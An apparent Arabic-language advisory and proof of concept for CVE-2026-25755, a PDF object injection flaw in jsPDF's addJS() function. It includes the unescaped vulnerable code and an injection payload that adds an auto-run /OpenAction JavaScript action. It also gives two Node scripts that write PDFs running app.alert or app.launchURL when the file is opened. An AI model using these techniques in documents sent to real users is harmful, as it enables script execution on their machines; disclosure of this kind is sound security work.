
CVE-2026-25755 ثغرة حرجة في حقن كائنات PDF في jsPDF تسمح للمهاجمين بحقن كائنات PDF عشوائية عبر دالة addJS()، مما يتيح تجاوز صندوق الحماية AcroJS وتنفيذ البرامج النصية تلقائيًا عند فتح ملفات PDF.
تم اكتشاف ثغرة حرجة في حقن كائنات PDF (CVE-2026-25755) في jsPDF، وهي مكتبة JavaScript مستخدمة على نطاق واسع لإنشاء مستندات PDF في التطبيقات من جانب العميل. توجد الثغرة في دالة addJS()، مما يسمح للمهاجمين بحقن كائنات PDF عشوائية وتجاوز قيود حماية AcroJS من خلال عدم كفاية تنقية المدخلات.
تسمح دالة addJS() في jsPDF للمطورين بتضمين كود JavaScript داخل ملفات PDF المُنشأة. ومع ذلك، قبل الإصدار 4.2.0، فشلت الدالة في تنقية مدخلات المستخدم التي تحتوي على أحرف صياغة PDF خاصة بشكل صحيح.
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
تقوم الدالة بدمج مدخلات المستخدم مباشرة في تدفقات كائنات PDF دون تهريب:
()\يسمح هذا للمهاجمين بإغلاق سياق سلسلة JavaScript قبل الأوان وحقن كائنات PDF عشوائية.
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
نقطة الحقن - تم تهريب سياق السلسلة
| الخطوة | الإجراء | النتيجة |
|---|---|---|
| 1 | ) يغلق سلسلة /JS الأصلية | يتم إنهاء سياق السلسلة |
| 2 | >> يغلق كائن PDF الحالي | يتم كسر بنية الكائن |
| 3 | /AA << /Open << ... | يتم حقن قاموس إجراءات جديد |
| 4 | تتم إضافة كائنات PDF عشوائية | يتم تحقيق حقن كائن كامل |
أنشئ ملفًا باسم exploit.js واكتب فيه ما يلي
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
قم بتشغيل node exploit.js